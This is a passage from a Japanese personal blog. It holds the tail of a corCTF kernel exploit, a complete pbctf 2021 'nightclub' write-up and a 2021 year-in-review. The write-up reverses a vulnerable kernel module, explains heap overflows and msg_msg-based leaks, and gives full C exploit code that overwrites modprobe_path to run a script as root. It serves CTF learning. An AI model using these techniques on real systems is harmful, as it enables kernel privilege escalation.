      printf("Not exploit task (name: %s)\n", (buf_big + (DATALEN_MSG + 8) + COMM_OFFSET));
      //print_curious(buf_big + (DATALEN_MSG + 8), 0x500, 0);
      searching_task = *(ulong*)(buf_big + (DATALEN_MSG + 8) + TASKS_PREV_OFFSET) - TASKS_NEXT_OFFSET - 8;
    } else {
      puts(": FOUND!");
      target_task = searching_task + 8;
      break;
    }
  }
  if (target_task == 0) {
    puts("[-] failed to find target task...");
    return 1;
  }
  printf("[!] current task @ 0x%lx\n", target_task);

  /***********************************************/

  // heap cleaning
  puts("[.] cleaning heap...");
  for (int ix = 0; ix != CLEAN_N; ++ix) {
    int qid = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
    struct msg4k cleaning_msg = { .mtype = 1 };
    memset(cleaning_msg.mtext, 'E', PAGE - 0x30);
    KMALLOC(qid, cleaning_msg, 1);
  }

  // allocate sample rules
  puts("[.] allocating sample rules...");
  #define SECOND_N 10
  memset(buf_name, 'F', 0x10);
  memset(buf_iface, 'G', 0x10);
  for (int ix = 0; ix != CLEAN_N; ++ix) {
    add_rule(buf_iface, buf_name, FIRST_N + ix, INBOUND, buf_1p);
  }

  // dup rule 1
  puts("[.] dup rule S1...");
  dup_rule(INBOUND, FIRST_N + 1);

  // delete INBOUND rule 1
  puts("[.] deleting inbound S1...");
  delete_rule(INBOUND, FIRST_N + 1);

  // prepare uffd
  puts("[.] preparing uffd");
  struct skb_uffder *uffder = new_skb_uffder(ADDR_FAULT, 1, buf_cpysrc, handle_fault, "msg_msg_watcher", UFFDIO_REGISTER_MODE_MISSING);
  assert(uffder != NULL);
  memset(buf_cpysrc, 'G', DATALEN_MSG);
  ((ulong*)(buf_cpysrc + DATALEN_MSG))[0] = init_cred;
  ((ulong*)(buf_cpysrc + DATALEN_MSG))[1] = init_cred;
  puts("[.] waiting uffder starts...");
  usleep(500);
  skb_uffd_start(uffder, NULL);

  // allocate temp `msg_msg` on UAFed slab
  puts("[.] allocating temp msg_msg on UAFed slab.");
  if ((tmp = msgrcv(qid, ADDR_FAULT, PAGE, 0, MSG_COPY | IPC_NOWAIT | MSG_NOERROR)) <= 0) { // SEARCH_ANY
    errExit("msgrcv");
  }

  // end of life
  int uid = getuid();
  if (uid != 0) {
    printf("[-] Failed to get root...");
    exit(1);
  } else {
    puts("\n\n\n[+] HERE IS YOUR NIRUGIRI");
    NIRUGIRI();
  }
  puts("[ ] END of life...");
}

 

 

9: アウトロ

f:id:smallkirby:20220224013337p:plain

corctf{MsG_MsG_c4n_d0_m0r3_th@n_sPr@Y}

成功率はshm_file_dataのspray成功率が強く影響していて、まぁ70%くらいです、多分。すごく良い問題だったと思います。次はこれのHARDバージョンらしい、Wall of Perditionを解こうと思います。

あとHORIZONの新作買いました。やるのが楽しみです。

 

10: References

1: Author

https://www.willsroot.io/2021/08/corctf-2021-fire-of-salvation-writeup.html

2: Author

https://syst3mfailure.io/wall-of-perdition

3: CTF repository

https://github.com/Crusaders-of-Rust/corCTF-2021-public-challenge-archive/tree/main/pwn/fire-of-salvation

4: SLAB/SLUB abstraction

https://kernhack.hatenablog.com/entry/2017/12/01/004544

5: useful kernel structures

https://ptr-yudai.hatenablog.com/entry/2020/03/16/165628

6: Krazynote writeup

https://smallkirby.hatenablog.com/entry/2020/08/09/085028

7: kernelpwn

https://github.com/smallkirby/kernelpwn

 

 

 

 

続く...

 

 

【pwn 59.0】nightclub - pbctf2021 (kernel exploit)

keywords

kernel exploit / msg_msg / msg_msgseg / modprobe_path

 

 

春は曙。

いつぞや開催された pbctf 2021 のkernel問題 nightclub を解いていく。

結果としては、msg_msgmsg_msgseg問題だった。

 

1: static

lysithea

 

lysithea.txt
===============================
Drothea v1.0.0
[.] kernel version:
Linux version 5.14.1 (ss@ubuntu) (gcc (Ubuntu 9.3.0-17ubuntu1~20.04) 9.3.0, GNU ld (GNU Binutils for Ubuntu) 2.34) #4 SMP Mon Oct 4 05:54:25 PDT 2021
[-] CONFIG_KALLSYMS_ALL is enabled.
you mignt be able to leak info by invoking crash.
cat: /proc/sys/kernel/unprivileged_bpf_disabled: No such file or directory
cat: /proc/sys/vm/unprivileged_userfaultfd: No such file or directory
[-] unprivileged userfaultfd is disabled.
[?] KASLR seems enabled. Should turn off for debug purpose.
Ingrid v1.0.0
[-] userfualtfd is disabled.
[-] CONFIG_STRICT_DEVMEM is enabled.
===============================

 

特に隙の無い設定。SMEP/SMAP/KASLR有効。

 

reverse

なぜか、ソースコードが配布されていなかった。まさか故意に添付しなかったはずがないだろうから、おそらく配布するのを忘れてしまったのだろう。おっちょこちょい。以下が全てのコードのreverse結果。

 

reversed.c
int init_module(void)
{
  // register chrdev with M/m=0/0
  major_num = __register_chrdev(0,0,0x100,"nightclub",file_ops);
  if (major_num < 0) { // error
    printk(&DAT_00100558,major_num);
    return major_num;
  }
  printk(&DAT_00100580,major_num); // success
  return 0;
}

struct file_operations file_ops = {
  .read = device_read,
  .write = device_write,
  .open = device_open,
  .release = device_release,
  .compat_ioctl = device_ioctl,
};

int device_open(struct inode*, struct file*)
{
  device_open_count = device_open_count + 1;
  try_module_get(__this_module);
  return 0;
}

int device_release(struct inode*, struct file*)
{
  device_open_count = device_open_count + -1;
  module_put(__this_module);
  return 0;
}

ssize_t device_read(struct file *, char __user *, size_t, loff_t *)
{
  return -EINVAL;
}

ssize_t device_write(struct file *, const char __user *, size_t, loff_t *) {
  printk(&DAT_00100530);
  return -EINVAL;
}

#define NIGHT_ADD   0xcafeb001
#define NIGHT_DEL   0xcafeb002
#define NIGHT_EDIT  0xcafeb003
#define NIGHT_INFO  0xcafeb004

long device_ioctl (struct file* file, unsigned int cmd, unsigned long args) {
  switch (cmd) {
    case NIGHT_ADD:
      return add_chunk();
    case NIGHT_DEL:
      return del_chunk();
    case NIGHT_EDIT:
      return edit_chunk();
    // leak diff
    case NIGHT_INFO:
      return edit_chunk - __kmalloc;
    defualt:
      return -1;
  }
}


struct night {
  night *next;
  night *prev;
  char unset1[0x16];
  ulong offset;
  char unset2[0x16];
  uint randval;
  char unset[0x14];
  char unknown2[0x10];
  char data[0x20];
};

struct userreq {
  char unknown2[0x10];
  char data[0x20];
  uint target_randval;
  uint uunknown1;
  ulong offset;
  uint size;
};

struct {
  night *next;
  night *prev;
} master_list;

uint add_chunk(userreq *arg) {
  uint randval_ret = (uint)-1;
  uint size;
  night *ptr = NULL;
  night *buf = kmem_cache_alloc_trace(XXX, 0xcc0, 0x80);
  
  /*
    unknown range check operations (skip).
  */
  
  buf->prev = NULL;
  buf->next = NULL;
  
  _copy_from_user(&buf->offset, &arg->offset, 8);
  _copy_from_user(&size, &arg->size, 4);
  if ((0x20 < size) || (0x10 < buf->offset)) {
    kfree(buf);
    return -1;
  }
  _copy_from_user(&buf->unknown2, &arg->unknown2, 0x10);
  if ((int)size < 0) { while(true) {halt();}}
  _copy_from_user(buf->data, arg->data, size);
  buf->data[size] = '\0'; // single NULL-byte overflow
  get_random_bytes(&randval_ret, 4);
  
  
  ptr = master_list->next;
  master_list->next = buf;
  buf->randval = randval_ret;
  ptr->prev = buf;
  buf->next = ptr;
  buf->prev = (night*)master_list;
  
  return randval_ret;
}

long del_chunk(userreq *arg) {
  uint target_randval, current_randval;
  night *ptr, *next, *prev;
  
  _copy_from_user(&target_randval, &arg->target_rand, 4);
  ptr = master_list->next;
  
  if (ptr != master_list) {
    do {
      /*
        unknown range check operation (skip).
      */
      
      next = ptr->next;
      current_randval = ptr->randval;
      // target night found. unlink it.
      if (current_randval == target_randval) {
        prev = ptr->prev;
        next->prev = prev;
        prev->next = next;
        // unknown clear of pointers before kfree().
        ptr->next = (night*)0xdead000000000100;
        ptr->prev = (night*)0xdead000000000122;
        kfree(ptr);
        return 0;
      }
    } while (next != master_list);
  }
}

long edit_chunk(userreq *arg) {
  uint target_randval, current_randval, size;
  ulong offset;
  night *ptr;

  _copy_from_user(&target_randval, &arg->target_rand, 4);
  _copy_from_user(&offset, &arg->offset, 8);
  if (master_list->next != master_list) {
    ptr = master_list->next;
    do {
      /*
        unknown range check operation (skip).
      */
      
      current_randval = ptr->randval;
      if (current_randval == target_randval) {
        _copy_from_user(&size, &arg->size, 4);
        if ((0x20 < size) || (0x10 < offset) { return -1; }
        _copy_from_user(ptr->data + offset, arg->data, size); // heap overflow (max 0x10 bytes)
        ptr->data[offset + size] = '\0'; // single NULL-byte overflow
        return 0;
      }
      
      ptr = ptr->next;
    } while (ptr != master_list)
  }
}

なお、上のソースコード中にも示したように、ところどころに謎のレンジチェックが入っていたが、リバースするのがしんどすぎたために無視した。(のちにわかったことだが、このモジュールを利用してmodprobe_pathに直接的に書き込むのを防ぐ効果があった。まぁ邪魔なだけだったけど)

 

module abstraction

f_opsは実質的にioctlのみ。

上に示したnightという構造体のadd/del/editができる。この構造体は謎のパディングがところどころ入っていて気持ち悪い。nightたちはmaster_list変数をheadとする双方向リストで管理されており、内部にrandvalというユニークなランダム値を持っていて、これを指定することで該当nightを削除したり編集できる。

最後に、NIGHT_INFOコマンドでedit_chunk - __kmallocのdiffを教えてくれる。因みにこういう露骨なのは好きじゃない。

 

2: vulns

single NULL-byte overflow

edit_chunk及びadd_chunk内において、以下のようなコードがある:

null-byte-overflow.c
      ptr->data[offset + size] = '\0'

 

ptrはリスト中のnightであり、dataは構造体の終端に位置するchar[0x20]型変数である。sizesize <= 0x20という条件のため、上のコードで1バイト分だけNULLがオーバーフローする。

10 bytes overflow

同じくedit_chunk()内において、更新するデータは以下のように上書きされる:

10-overflow.c
        _copy_from_user(&size, &arg->size, 4);
        if ((0x20 < size) || (0x10 < offset) { return -1; }
        _copy_from_user(ptr->data + offset, arg->data, size); // heap overflow (max 0x10 bytes)

 

datachar[0x20]であることから、0x10byte分だけ自由にoverflowできる。

NIGHT_INFO

これはバグではないが、前述したとおりedit_chunk - __kmallocを教えてくれる。これは、モジュールのアドレスさえleakできれば、このdiffを使ってkernbaseが計算できることを意味する。

 

3: leak heap addr via `msg_msg` / `msg_msgseg`

abstraction of heap collaption

heap内でoverflowがあり、かつ双方向リストを使っているため、next/prevを書き換えるというのが基本方針。

10byte overflowがあるものの、heapのアドレスがわかっていないために活用できない。まずはheapのアドレスをleakすることを目指す。

まず、適当に10個くらいnightaddすると、以下のようなheap layoutになる。

f:id:smallkirby:20220217090444j:plain



このとき、3のnightでNULL-overflowをすると、4のnight.next0xffff8880041a4780から0xffff8880041a4700になる。つまり、2を指すようになる。

その後、del_chunk()で3を消去し、next/prevを繋ぎ替えると、2のprevの値として4のprevの値、すなわち5のアドレスが入ることがわかる。。

f:id:smallkirby:20220217090503j:plain



ここで重要なのは、2が既にfreeされてリスト中に存在してなかったとしてもprevの値が書き込まれるということである。つまり、2を先にdelしておいて、ここに何らかの構造体を入れておけば、その構造体を介してprevの値をleakできる。

 

utilize `msg_msgseg` to read first 10bytes

さて、leakに使う構造体だが、今回はnightの大きさが0x80であるためmsg_msgを使うことにする。

だが、普通にmsg_msgヘッダ込みで0x80だけ確保しようとすると、以下のようなレイアウトになってしまう。

f:id:smallkirby:20220217090516j:plain



上の図はmsg_msgとuserデータを合わせたもので、この状態でdelをしてprevを書き込むと、prevmsg_msg.m_list内に書き込まれてしまう。これはユーザデータではない領域なので、msgrcv()で読み取ることができない。

 

ではどうすればいいかというと、これはalloc_msg()の実装を読めば明らかである。

 

ipc/msgutils.c
struct msg_msg {
	struct list_head m_list;
	long m_type;
	size_t m_ts;		/* message text size */
	struct msg_msgseg *next;
	void *security;
	/* the actual message follows immediately */
};
struct msg_msgseg {
	struct msg_msgseg *next;
	/* the next part of the message follows immediately */
};

#define DATALEN_MSG	((size_t)PAGE_SIZE-sizeof(struct msg_msg))
#define DATALEN_SEG	((size_t)PAGE_SIZE-sizeof(struct msg_msgseg))

static struct msg_msg *alloc_msg(size_t len)
{
	struct msg_msg *msg;
	struct msg_msgseg **pseg;
	size_t alen;

	alen = min(len, DATALEN_MSG);
	msg = kmalloc(sizeof(*msg) + alen, GFP_KERNEL_ACCOUNT);
	if (msg == NULL)
		return NULL;

	msg->next = NULL;
	msg->security = NULL;

	len -= alen;
	pseg = &msg->next;
	while (len > 0) {
		struct msg_msgseg *seg;

		cond_resched();

		alen = min(len, DATALEN_SEG);
		seg = kmalloc(sizeof(*seg) + alen, GFP_KERNEL_ACCOUNT);
		if (seg == NULL)
			goto out_err;
		*pseg = seg;
		seg->next = NULL;
		pseg = &seg->next;
		len -= alen;
	}

	return msg;

out_err:
	free_msg(msg);
	return NULL;
}

 

この関数では、まず最初にmsg_msgヘッダと「いくらかの」ユーザデータ分の領域を確保したあと、残りのユーザデータがなくなるまではmsg_msgsegヘッダと「いくらかの」ユーザデータ分の領域を確保し続ける。

ここで「いくらかの」とは、msg_msg(最初の1回)の場合にはDATALEN_MSGmsg_msgsegの場合にはDATALEN_SEGである。上のdefineからもわかるとおり、1回のkmallocの大きさが0x1000になるようになっている。

よって、0x80分だけのメッセージをmsgsndする代わりに、DATALEN_MSG + 0x80 - sizeof(msg_msg) - sizeof(msg_msgseg)だけの大きさを持つユーザデータを送ってやれば、1つ目のユーザデータはmsg_msgとともにkmalloc-1Kに確保され、残りのユーザデータはmsg_msgsegとともにkmalloc-128に入ってくれる。そして、msg_msgが0x30bytesもあるのに対してmsg_msgsegは0x8bytesしかない。これによって、 msgrcv()を使うと最初の8byteを除いて任意の大きさの構造体からデータを読み取ることが可能になる。

以上でheapbaseのlaek完了。

 

4: leak module base and kernbase

続いて、モジュールベースを求める。双方向リストゆえ、最新のnightprevとしてヘッドのmaster_listのアドレスを保持している。これを読めれば良い。

この時点でheapbaseがわかっているため、10bytes-overflowを使ってnightnext/prevをヒープ内の任意のアドレスに書き換えることができる。もちろんread機能はないために直接読み取ることはできないが、msg_msgヘッダ内のm_tsを書き換えることでmsgrcv時に読み込むサイズを任意に大きくすることができる。

なお、前のヒープのleakの段階でリストが壊れているが、基本的にリストの探索はターゲットが見つかれば打ち切られるため新しいnightを確保してそれらだけを利用すれば、特に問題はない。

これで、ヒープ内を雑に読み込んで、モジュールベースのleak完了。

前述したとおり、edit_chunk - __kmallocがわかっているため、これでkbaseがleakできたことになる。

 

5: overwrite `modprobe_path`

unknown range check prevents overwriting...?

最後にmodprobe_pathを書き換える。普通に考えると、10byte-overflowを使ってnight.nextmodprobe_path - xを指すようにして、edit_chunks()で書き換えれば終わりのように思える。

だが、実際に試してみると、最後のedit_chunks()がどうしても不正な値を返してきた。おそらくだが、最初の"reversing"の項で無視したレンジチェックみたいなところで、ヒープ外の値に書き込もうとするとエラーを出すようになっているぽい。詳しくは見てないから勘だけど。

directly overwrite heap's next pointer

少し実験した感じ、SLUBのfreelistのHARDENINGとかRANDOMIZEとかのコンフィグは有効になっていなかった(例え有効になっていても、ここまでheapを掌握していれば大丈夫なような気もするけど)。heapのnextポインタは、今回の場合offset:+0x40に置かれていた。よって、これを直接書き換えることで、次の次のkmallocの際にmodprobe_path上にchunkを置くことができる。このchunkに入れる構造体は、やはりmsg_msgで良い。

 

6: exploit

exploit.c
#include "./exploit.h"
#include <sys/ipc.h>
#include <sys/mman.h>

/*********** commands ******************/
#define DEV_PATH "/dev/nightclub"   // the path the device is placed

#define NIGHT_ADD   0xcafeb001
#define NIGHT_DEL   0xcafeb002
#define NIGHT_EDIT  0xcafeb003
#define NIGHT_INFO  0xcafeb004

//#define DATALEN_MSG	((size_t)PAGESIZE-sizeof(struct msg_msg))
#define DATALEN_MSG	((size_t)PAGE-0x30)
#define DATALEN_SEG	((size_t)PAGE-0x8)

struct night{
  struct night *next; // double-linked list, where new node is inserted into head->next.
  struct night *prev;
  char unset1[0x16];
  ulong offset;
  char unset2[0x16];
  uint randval;
  char unset[0x14];
  char unknown2[0x10];
  char data[0x20];
} night;

struct userreq{
  char unknown2[0x10];
  char data[0x20];
  uint target_randval;
  uint uunknown1;
  ulong offset;
  uint size;
};

/*********** globals ******************/

int night_fd = -1;
const ulong diff_master_list_edit = 0xffffffffc0002100 - 0xffffffffc0000010;
const ulong diff_modprobe_path = 0xffffffff8244fca0 - 0xffffffff81000000;

// (END globals)

long night_ioctl(ulong cmd, void *req) {
  if (night_fd == -1) errExit("night_fd is not initialized.");
  long ret = ioctl(night_fd, cmd, req);
  assert(ret != -1);
  return ret;
}

uint night_info(void) {
  long diff = night_ioctl(NIGHT_INFO, NULL);
  return diff;
}

uint night_add(char *buf, ulong offset, uint size) {
  struct userreq req = {
    .offset = offset,
    .size = size,
  };
  memcpy(req.data, buf, 0x20);
  long ret = night_ioctl(NIGHT_ADD, &req);
  assert(ret != -1);
  return ret;
}

void night_edit(char *buf, uint target_randval, ulong offset, uint size) {
  struct userreq req = {
    .offset = offset,
    .size = size,
    .target_randval = target_randval,
  };
  memcpy(req.data, buf, 0x20);
  assert(night_ioctl(NIGHT_EDIT, &req) == 0);
}

void night_del(uint target_randval) {
  struct userreq req = {
    .target_randval = target_randval,
  };
  assert(night_ioctl(NIGHT_DEL, &req) == 0);
}

struct msgbuf80 {
  long mtype;
  char mtext[0x80];
};
struct msgbuf80alpha {
  long mtype;
  char mtext[(DATALEN_MSG + 0x30) + 0x80 - 8]; // -8 is for msg_msgseg of second segment
};

int main(int argc, char *argv[]) {
  puts("[ ] Hello, world.");
  assert((night_fd = open(DEV_PATH, O_RDWR)) > 2);
  char *buf = mmap(NULL, PAGE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
  assert(buf != MAP_FAILED);
  memset(buf, 'A', PAGE);

  // prepare for modprobe_path tech
  system("echo -n '\xff\xff\xff\xff' > /home/user/evil");
  system("echo '#!/bin/sh\nchmod -R 777 /root\ncat /root/flag' > /home/user/nirugiri");
  system("chmod +x /home/user/nirugiri");
  system("chmod +x /home/user/evil");

  // clean kmalloc-128
  puts("[.] cleaning heap...");
  #define CLEAN_N 40
  struct msgbuf80 clean_msg80 = { .mtype = 1 };
  struct msgbuf80alpha clean_msg80alpha = { .mtype = 1 };
  memset(clean_msg80.mtext, 'X', 0x80);
  memset(clean_msg80alpha.mtext, 'X', sizeof(clean_msg80alpha.mtext));
  for (int ix = 0; ix != CLEAN_N; ++ix) {
    int qid = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
    KMALLOC(qid, clean_msg80, 1);
  }

  // get diff of __kernel and edit_chunk and __kmalloc
  uint edit_kmalloc_diff = night_info();
  printf("[+] edit_chunk - __kmalloc: 0x%x\n", edit_kmalloc_diff);

  // add first chunks
  #define FIRST_N 10
  uint randvals[FIRST_N] = {0};
  printf("[.] allocating first chunks (%d)\n", FIRST_N);
  for (int ix = 0; ix != FIRST_N; ++ix) {
    randvals[ix] = night_add(buf, 0, 0x1F);
    printf("[.] alloced randval: %x\n", randvals[ix]);
  }

  // single NULL-byte overflow into night[6]->next
  night_edit(buf, randvals[5], 0, 0x20);

  night_del(randvals[4]);
  // allocate msg_msgseg + userdata at &night[4]
  int qid = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
  KMALLOC(qid, clean_msg80alpha, 1);
  // make night[2]->prev point to &night[4]
  night_del(randvals[6]);
  // leak heap addr via msg_msgseg
  ssize_t n_rcv = msgrcv(qid, &clean_msg80alpha, sizeof(clean_msg80alpha.mtext) - 0x30, clean_msg80alpha.mtype, 0);
  printf("[+] received 0x%x size of message.\n", n_rcv);
  ulong leaked_heap = *(ulong*)(clean_msg80alpha.mtext + DATALEN_MSG);
  ulong heap_base = leaked_heap - 0x380;
  printf("[!] leaked heap: 0x%lx\n", leaked_heap);
  printf("[!] heapbase: 0x%lx\n", heap_base);


  /** overwrite next pointer, edit msg_msg's size, read heap sequentially, leak master_list. **/

  // heap is tampered, allocate fresh nights.
  #define SECOND_N 6
  uint randvals2[SECOND_N] = {0};
  for (int ix = 0; ix != SECOND_N; ++ix) {
    randvals2[ix] = night_add(buf, 0, 0x20);
  }

  // allocate simple msg_msg + userdata
  memset(clean_msg80.mtext, 'Y', 0x50);
  KMALLOC(qid, clean_msg80, 1);

  // overflow to overwrite night[1]->next to allocated msg_msg
  printf("[+] overwrite next target with 0x%lx\n", heap_base+ 0x700 + 0x10 - 0x60);
  *(ulong*)(buf + 0x10) = heap_base + 0x700 + 0x10 - 0x60;
  night_edit(buf, randvals2[3], 0x10, 0x20);

  // edit to overwrite msg_msg.m_ts with huge value
  ulong val[0x2];
  val[0] = 1;
  val[1] = 0x200; // m_ts
  night_edit((char*)val, 0x41414141, 0, 0x10);

  // allocate new night and read master_list
  night_add(buf, 0, 0);
  n_rcv = msgrcv(qid, &clean_msg80, 0x500, clean_msg80alpha.mtype, 0);
  printf("[+] received 0x%x size of message.\n", n_rcv);
  ulong master_list = *(ulong*)(clean_msg80.mtext + 0xb * 8);
  ulong edit_chunk = master_list - diff_master_list_edit;
  ulong __kmalloc = edit_chunk - edit_kmalloc_diff;
  ulong kbase = __kmalloc - 0x1caa50;
  ulong modprobe_path = kbase + diff_modprobe_path;
  printf("[!] master_list: 0x%lx\n", master_list);
  printf("[!] edit_chunk: 0x%lx\n", edit_chunk);
  printf("[!] __kmalloc: 0x%lx\n", __kmalloc);
  printf("[!] kbase: 0x%lx\n", kbase);
  printf("[!] modprobe_path: 0x%lx\n", modprobe_path);

  /** overwrite modprobe_path **/
  strcpy(clean_msg80.mtext, "/home/user/nirugiri\x00");

  // heap is collapsed, allocate fresh nights.
  #define THIRD_N 2
  uint randvals3[THIRD_N] = {0};
  for (int ix = 0; ix != THIRD_N; ++ix) {
    randvals3[ix] = night_add(buf, 0, 0x20);
  }

  // overwrite night's next ptr
  printf("[+] overwrite next target with 0x%lx\n", heap_base + 0x8c0 - 0x60);
  *(ulong*)(buf + 0x10) = heap_base + 0x8c0 - 0x60; // heap's next ptr is placed at +0x40 of chunk.
  night_edit(buf, randvals3[0], 0x10, 0x20);

  // edit to overwrite heap's next pointer
  val[0] = modprobe_path - 0xa0 + 0x80 - 0x10;
  val[1] = 0x0;
  night_edit((char*)val, 0x0, 0, 0x10);

  // overwrite modprobe_path
  night_add(buf, 0, 0);
  puts("[+] allocating msg_msg on modprobe_path.");
  qid = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
  KMALLOC(qid, clean_msg80, 1);

  // invoke evil script
  puts("[!] invoking evil script...");
  system("/home/user/evil");

  // end of life
  puts("[ ] END of life...");
}

 

 

7: アウトロ

f:id:smallkirby:20220217090537p:plain

msg_msgはread/writeに関して言えばかなり万能でいいですね。 とりわけmsg_msgsegと組み合わせることで、0x8 ~ 0x1000 bytes までの任意のサイズに対してread/writeができるのが強いです。

この問題自体は、問題が少しわざとらしかったり、構造体にパディングが多くあからさまだったり、そして何よりソースコードの配布を「おっちょこちょい」で忘れてしまってたりと荒削りなところも合ったけど、msg_msgの汎用性の再確認ができる良い問題だったと思います。

 

 

 

次回、池の水全部飲んでみたでお会いしましょう。

 

 

続く。

 

 

 

 

8: 参考

1: https://google.github.io/security-research/pocs/linux/cve-2021-22555/writeup.html

2: https://a13xp0p0v.github.io/2021/02/09/CVE-2021-26708.html 

3: https://www.willsroot.io/2021/10/pbctf-2021-nightclub-writeup-more-fun.html

4: https://kileak.github.io/ctf/2021/pb21-nightclub/

5: https://ptr-yudai.hatenablog.com/entry/2020/03/16/165628

6: https://youtu.be/yvUvamhYPHw

 

 

【雑談 13.0】わしかて海でこの一年を振り返りたいけぇのお 2021!!!

このエントリは TSG Advent Calendar 2019 の23日目の記事です。実に700日ほど遅れての投稿になります。

前回は undefined さんによる「undefined」でした。次回は smallkirby さんによる「(仮)でした

 

f:id:smallkirby:20211217194356j:plain

イントロ

時間を止めることに失敗してしまったため、2021年ももう終わりになってしまいました。悲しいね。今年も基本的にはコロナのせいで1年間ずっとリモートが中心の日々でした。と思ったけど、意外と研究室に行くことが多かったので外に出ることもちらほらとあった気がします。

去年の今頃は海に行って、一年間を振り返りながら黄昏れていました。今年も行くつもりでした。今日耐え難いほど海に行きたい気持ちになり、実験を早く終わらせて海に行こうと決心したのですが、終わったのが18:00くらいだったので諦めました。今はおうちで黄色のモンスターを飲みながらこのブログを書いています。黄色のモンスターまじで美味しすぎて、最近の水分は全部コレから摂取しています。糖尿病になったら訴えようと思っています。

ということで、今年はお家の中でですがこの一年間を振り返ってみましょう。

 

やったゲーム

今年は、結構ゲームをやりました。というのも、今年あったイベントの一つに大学院試があり滅茶苦茶時間があったのですが、院試期間中はGithubへのコミットを禁止するという謎ルールを自分に課していたためゲームくらいしかやることがありませんでした。結果試験本番では大爆発したのですが、まぁゲーム楽しいのでOKです。

Civilization6

院試期間中にドハマりしたゲームです。昔から所謂マスゲー(シミュレーションゲーム)は好きで、しかもTSGerに熱狂的なプレイヤがいたので話には聞いていました。1試合に8時間くらいかかるということもありプレイするのを躊躇っていたのですが、7・8月は1日に26時間暇な時間があったため買いました。プラットフォームはswitchです。最初はルールもよくわからず簡単なレベルでやっていたので面白くなかったのですが、やっている内にどんどんハマり、最終的には最高レベルをクリアするまでになりました。好きな国はオーストラリアとドイツです。Wikiから情報を取ってきて自分に見やすいように可視化するツールをこの時は書いていました(commit禁止とは?)

太鼓の達人 Nintendo Switchば~じょん!

PSP太鼓の達人ばっかりやっていた少年時代を思い出すために買いました。初見では鬼レベルなんて絶対出来るわけ無いだろと思っていましたが、最終的には★5くらいなら鬼を叩けるようになりました。個人的には太鼓の達人音ゲーではなくRPGの気持ちでやっています。最初は装備もなにもないところからスタートですが、赤の3連符の叩き方を習得するとそれだけ行けるステージが増え、赤青の連符を叩けるともっと難しい曲ができるというように、どんどんアイテムを入手して強くなっていくゲームです、知らんけど。

ファイアーエムブレム 風花雪月

絶賛ドハマり中なうです。最初はマスゲーにキャラ要素なんていらないだろと思ってましたが、必要でした。RPGの要素を上手く組み込んでいて、もう滅茶苦茶楽しいです。今5周目をやっており、UI上の不便な点とかは挙げればキリがない程にありますが、それを差し引いても面白い。やっぱり慣れてきてステータス管理をできるようになってからが楽しいですね。

その他

主にハマったゲームは上の3つですが、その他に今年プレイしたゲームは以下の感じでした。

 

読んだ本

今年は本を全然読みませんでした。心が廃れますね。

読んだ漫画

今年は研究室での実験の待ち時間が多かったので、ジャンププラスでポチポチして漫画を読むことが多かったです。

なんかもっと読んだ気がするけど忘れました

 

見たドラマ・映画

今年は1個もドラマや映画を見ませんでした。

 

行った場所

  • 大学
  • バイト先 x 2
  • ケーキ屋さん

振り返ってみて驚きましたが、今年は主にこの3つしか行きませんでした。経路上のごはん屋さんは行きましたが、都内から出ることはありませんでした。

 

大学

特になし

 

好きな食べ物

  • やよい軒
  • ファミマの生チョコクレープ
  • モンスター(黄色)
  • コーヒー
  • かばやきさん

今年は駄菓子を大量に購入したので、駄菓子を中心に生きてきました。朝ごはん屋やよい軒で食べることも多く、概ね健康的な生活をしていました。モンスターの黄色が出てからはとにかくコレにどハマリして、どうか健康のためにカフェイン抜きバージョンを出してほしいと願う日々です。

 

 買ってよかったもの

  • キーボード(Corne): もうHHKBには戻れません。2台買って、1台は家に、もう一台は研究室だったりバイト先に持ち運んでいます。ある日研究室に行ったらぼくのキーボードが名刺差しになっていたのが滅茶苦茶面白かったです(名刺なので写真を貼れないのが残念でしょうがないね)。Choco60も買いましたが、40%に慣れた今では飾り物になっています
  • かばやきさん・ビッグカツ: それぞれ100枚ずつくらい買いましたが、なんでかばやきさんが主食の国がないのかが不思議でなりません。
  • キャプチャーボード: ダメ元で1500円の破格のやつを買いましたが、普通に使えています。Discordでゲーム画面を配信するのに使えます。
  • でっかい貯金箱: ぼくは小銭をそこらへんに投げ散らかしておく癖があることに去年気づいたので、5Lくらいのやつを買って家に帰るとそこに財布の中身を全部入れることにしました。
  • 南部美人: そういえば8月の院試期間中くらいに日本酒にどハマリしました。

そう言えば今年は服も1着も買わなかったし、髪も1回も切りに行ってないので、家計簿アプリが寂しがってました。あと夏と秋頃はTwitter上でみつけたほしい物リストに匿名で送りつけるというのにもハマっていました。

 

ぷよぐやみんぐ

今年の草はこんな感じでした(private込)。

f:id:smallkirby:20211217191636p:plain

7/8月の院試期間中にぽっかり抜けているのは、ぼくの自制心の強さを表していますね(この期間中はGitlabにアカウントを作ってそっちにpushしていたというのは、絶対に秘密です)。

言語別に見るとこんな感じっぽいです(publicのみ)。

f:id:smallkirby:20211217192017p:plain

 

かんぱん・ざ・ふらぐ

今年はCTFはあまりやりませんでした。暇な時に触ったやつでは、kernel問題を中心に解いていった気がします。来年あたりはブラウザpwnもやっていきたいですね。まぁ来年CTFするかはまだ知りませんが。

 

 

総括

やー、どうだったんでしょうね、今年。うーん、よく分かりません。

まぁまず直感的に言えるのは、今年は楽しくなかったです。はい。今まで2x年生きてきた中では、一番面白くなかった年と言えるのではないでしょうか。根拠を上げるのは難しいですが、なんとなくそう思います。その原因を考えた時、理由はただただ自分の行動力と実力不足ではあると思います。楽しい日々を送るには、それに相応しい実力を持っている必要があるんだということをなんとなく感じた1年でした。大学生活は1>2>3>4年の順に面白くなくなっているかもですね。これも根拠はないけど。

一方で、ちょっとしたことは迷わずつまみ食いしていたような気はしてます。書いたこと無い言語を何も考えず書いてみたり、触ったこと無いツールに食いついてみたり、なんとなく新しいバイト始めてみたり、盆栽的にホームページを育ててみたり。裏を返せば腰を据えてどっしりと何かをするということはほとんど出来なかった1年だったとも言えます。あと、1・2年前はセキュリティ関係のイベントだったりに何も考えず取り敢えず行ってみようということでちらほらと参加していたのですが、今年はほとんどなんにもしませんでした。よくよく考えるとセキュリティ周りの事は殆どしない1年間だったかも知れません。

あと本を読まなすぎましたね。2年前は年に50冊は読んでいたのに、今年は待ち時間にちょこちょこ漫画を読むのが多すぎました。本を読まないと心が枯れます。あとは人と全然喋りませんでした。これはコロナも悪いし、ぼくも悪いし、シャミ子も悪いよ。

 

